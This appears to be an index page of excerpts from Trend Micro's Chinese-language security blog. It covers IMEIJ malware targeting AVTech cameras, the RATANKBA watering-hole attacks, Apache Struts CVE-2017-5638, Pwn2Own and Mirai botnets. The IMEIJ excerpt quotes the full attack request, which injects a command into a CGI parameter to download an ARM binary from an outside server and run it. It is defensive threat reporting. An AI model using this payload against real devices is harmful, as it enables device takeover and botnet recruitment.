攻擊 CGI 漏洞的新 Linux 惡意程式

趨勢科技 TrendMicro

 

長久以來，Linux 一直是企業平台與物聯網（IoT ,Internet of Thing）裝置製造商所偏愛的作業系統。許多不同產業都紛紛採用以 Linux 為基礎的裝置來建置智慧型系統，並利用物聯網 (IoT) 閘道來建立各種業務所需的連網解決方案及服務。然而隨著這類裝置不斷普及，針對 Linux 系統的資安威脅也跟著增加。先前在 2016 年我們即討論過一系列的 Linux 威脅，其中最知名的莫過於 Mirai 惡意程式 (趨勢科技命名為 ELF_MIRAI)。

最近又出現了一個新的 Linux ARM 惡意程式叫做 IMEIJ (趨勢科技命名為 ELF_IMEIJ.A)。此威脅專門攻擊 AVTech (陞泰科技) 監視攝影裝置的漏洞。此漏洞是由匈牙利的資安研究機構 Search-Lab 所發現，並且在 2016 年 10 月公開揭露。不過在此之前，Search-Lab 曾多次試圖聯絡 AVTech 卻未獲回應。

感染流程及類似惡意程式

此惡意程式是經由 CGI 指令感染。遠端駭客會隨機挑選一個 IP 位址然後向該位址發送以下網站指令來攻擊此漏洞：

POST /cgi-bin/supervisor/CloudSetup.cgi?exefile=wget -O /tmp/Arm1 https://192.154.108.2:8080/Arm1;chmod 0777 /tmp/Arm1;/tmp/Arm1; HTTP/1.1

更精確一點，它是利用 AVTech 裝置上的 CloudSetup.cgi 程式漏洞將惡意程式下載到裝置上，前述網站指令會讓裝置下載惡意檔案，並且將檔案設定成可執行檔。

圖 1：IMEIJ 的感染流程。 繼續閱讀

RATANKBA入侵攻擊目標經常瀏覽的合法網站,針對企業發動大規模水坑攻擊,台灣也受影響

趨勢科技 TrendMicro

在二月初，有多家金融機構通報出現惡意軟體感染，而且顯然來源是合法網站。這些攻擊以入侵受信任的網站來感染各產業內被鎖定企業的系統, 是大規模攻擊活動的一部分。這種策略通常被稱為「水坑（watering hole）」攻擊。

最近對波蘭銀行進行的連串惡意軟體攻擊，據報會在終端機跟伺服器上出現未知的惡意軟體，還有可疑、加密的程式/可執行檔，更加引人注意的是不尋常的網路活動。中毒系統會連到不尋常的位置，可能是要暗渡陳滄將入侵單位的機密資料送至該處。

趨勢科技發現備受關注的惡意軟體RATANKBA,不僅跟對波蘭銀行的惡意軟體攻擊有關，而且還涉及墨西哥、烏拉圭、英國和智利金融機構所發生的類似事件。它如何感染受害者？有沒有其他惡意軟體參與其中？這攻擊活動是否真的跟俄羅斯網路犯罪集團有關？不過根據我們在惡意軟體內所看到的俄文，我們認為這只是用來混淆攻擊者真面目的偽裝手法。

台灣也受到影響

銀行並不是唯一的目標；也有電信、管理諮詢、資訊技術、保險、航太、教育等企業受害。此外，攻擊活動並非僅局限於北美和歐洲，一些亞太地區，特別是台灣、香港和中國也受到影響。

在此提供進一步的分析和見解，可以補充其他關於此一威脅的研究。

 

圖1、關於RATANKBA的可能感染流程

繼續閱讀

CVE-2017-5638：Apache Struts 2 漏洞可能讓駭客從遠端執行程式

趨勢科技 TrendMicro

 

Apache Struts 是一個免費的開放原始碼程式開發架構，用來開發 Java 網站應用程式。我們仔細研究了過去 Apache Struts 被發現的幾個遠端程式碼執行 (Remote Code Execution，簡稱 RCE) 漏洞之後發現，歹徒大多使用 Object Graph Navigation Language (OGNL) 這個程式語言。OGNL 之所以很容易讓駭客從遠端執行任意的程式碼，是因為 Apache Struts 在大多數的流程當中都用到這個語言。

最近，一位研究人員在 Apache Struts 2 當中新發現一個關於 OGNL 的遠端程式碼執行漏洞：CVE-2017-5638。此外，一份報告也指出網路上已出現實際的漏洞攻擊案例，我們的研究和監控團隊也見過利用該漏洞的攻擊。

攻擊手法

駭客可以發送一個精心設計的網站請求給含有漏洞的伺服器，就能將一個檔案上傳至使用 Jakarta 外掛模組來處理檔案上傳請求的伺服器。

駭客接著在 Content-Type 標頭當中包含所要執行的指令來讓受害的伺服器執行指令。網路上已經出現示範這項攻擊手法的概念驗證。

漏洞分析

為了深入了解這項漏洞，我們仔細研究了一下該漏洞的修補程式，我們發現廠商在 FileUploadInterceptor.java 當中已放棄使用「LocalizedTextUtil」這個類別。此類別原本是用來在 HTTP 檔案上傳請求失敗時提供錯誤訊息給使用者。 繼續閱讀

世界駭客大賽Pwn2Own – 永遠不知道有那些新研究將會揭開面紗

趨勢科技 TrendMicro

 

 

在過去十年的世界駭客大賽Pwn2Own競賽中，不同的人會對此競賽產生不同的感情。它曾被稱為是對瀏覽器的大屠殺，雖然沒有真人倒地。它曾幫人開創自己的事業，或至少，幫他們成就惡名。它被指責同時摧毀了粉絲跟黑特的心。同樣地，在比賽史上沒有粉絲或黑特真的受傷，但內心就不敢保證了。

過去十年來，Pwn2Own已經成為安全研究的根源

更有甚者是指責Pwn2Own不過是個 Security theater (維安劇場) – 只是場精采的秀，但沒有真正出現什麼。但實際上恰恰相反。在過去十年來，Pwn2Own已經成為安全研究的根源。

不只是因為在Pwn2Own上所使用的漏洞都很複雜（當然它們也的確複雜）。這計畫所披露的幾個漏洞都得到社群的讚賞，如Pwnie大獎。除此之外，在Pwn2Own所出現的漏洞也驅動了其他研究，最終讓廠商提出了解決方案。例如在數年前，釋放後使用（UAF, use-after-free）漏洞被用來攻擊瀏覽器，特別是Internet Explorer。結果導致許多研究人員找出UAF漏洞並將其回報給零時差計畫（ZDI）。UAF狂潮讓微軟引入了隔離堆積（Isolated Heap）和記憶體保護（MemoryProtection）等安全措施來防止這些UAF漏洞被利用。這些讓ZDI研究人員去深入研究問題並找出解決方案。這些結果提交給微軟的安全獎勵計畫 – Mitigation Bypass Bounty，並獲得了125,000美元的獎金（全部捐給了慈善機構）。

如果沒有Pwn2Own，UAF會如此熱門嗎？有可能，但被運用在競賽中肯定帶動了這方面的研究，結果就是更加安全的瀏覽器。當然，我們不只是看到了UAF。這些年來已經出現過各種類型的漏洞，而這些漏洞都在比賽出現後變得更加常見（或至少更加流行）。像是沙箱逃脫（sandbox escape）、連接點竄改（junction point manipulation），繞過控制流防護（CFG bypass）和字體濫用（font abuse）都曾如此過。 繼續閱讀

Mirai 原始碼流傳之後….面對轉戰家用網路的殭屍大軍, 光在大門上鎖是不夠的

趨勢科技 TrendMicro

原本該讓我們生活更美好的聯網用品,竟瞬間變成了攻擊他人的殭屍網路!

從去年 9 月感染了大約 10 萬個物聯網裝置的 Mirai 原始程式碼在網路上流傳開始，駭客們便紛紛忙著開發新的變種來搶攻那些安全堪慮的物聯網裝置，儼然成了一場軍備競賽。
從電燈開關、恆溫控制器,到聯網茶壺、無人機以及各種日常生活用品,讓這些聰明但不安全的智慧裝置連上網際網路，就如同引狼入室。現在光在大門隨便裝個簡單的鎖頭是不夠的，這批最近才剛轉戰家用網路的犯罪集團，他們感染家庭智慧裝置，將它們變成殭屍來替他們從事不法勾當。

這波搶攻裝置、建立殭屍網路熱潮有如一股掏金熱,如果這些聯網用品都像 Dyn 事件當中那些遭到攻擊的裝置一樣,存在著相同的安全漏洞，那麼未來恐怕有重大的災難等著我們。

網域名稱服務 (DNS) 供應商 Dyn 的伺服器在 2016 年底遭到一起重大的網路攻擊，全球多家知名網站因而停擺，包括 Twitter 和 Netflix 皆頓時陷入危機，工程師們為了讓伺服器恢復正常運作而疲於奔命。該事件的罪魁禍首，是一個叫作「Mirai」的物聯網 IoT ,Internet of Thing）殭屍病毒。

駭客的軍備競賽:紛紛開發新變種,搶攻物聯網裝置

網路媒體 All About Circuits 特約作家 Robin Mitchell 將這起網路犯罪事件歸類為「Botnet傀儡殭屍網路」攻擊。基本上，Mirai 幕後的犯罪集團利用此惡意程式感染了大約 10 萬個物聯網裝置，並以此建立了一個殭屍網路。歹徒之所以能夠建立這樣的殭屍網路，只因為物聯網裝置缺乏足夠的入侵防護措施。事實上，這些被感染的裝置很可能還在使用出廠時所內建的預設密碼，而這些密碼非常容易破解。

隨著物聯網裝置的日益普及，我們該如何對付像 Mirai 這類專門攻擊物聯網裝置的惡意程式呢？當這些原本應該讓我們生活更美好的連網用品瞬間變成了敵人，將變成什麼樣的狀況？

如果物聯網繼續這麼容易遭到這類攻擊，那麼情況將更令人擔憂。市場研究機構 Gartner 預測，到了 2020 年，全球將有208 億個物聯網裝置：從智慧家庭恆溫控制器和電燈開關，到聯網茶壺、無人機以及各種日常生活用品。如果這些聯網用品都像 Dyn 事件當中那些遭到攻擊的裝置一樣存在著相同的安全漏洞，那麼未來將有重大的災難等著我們。 繼續閱讀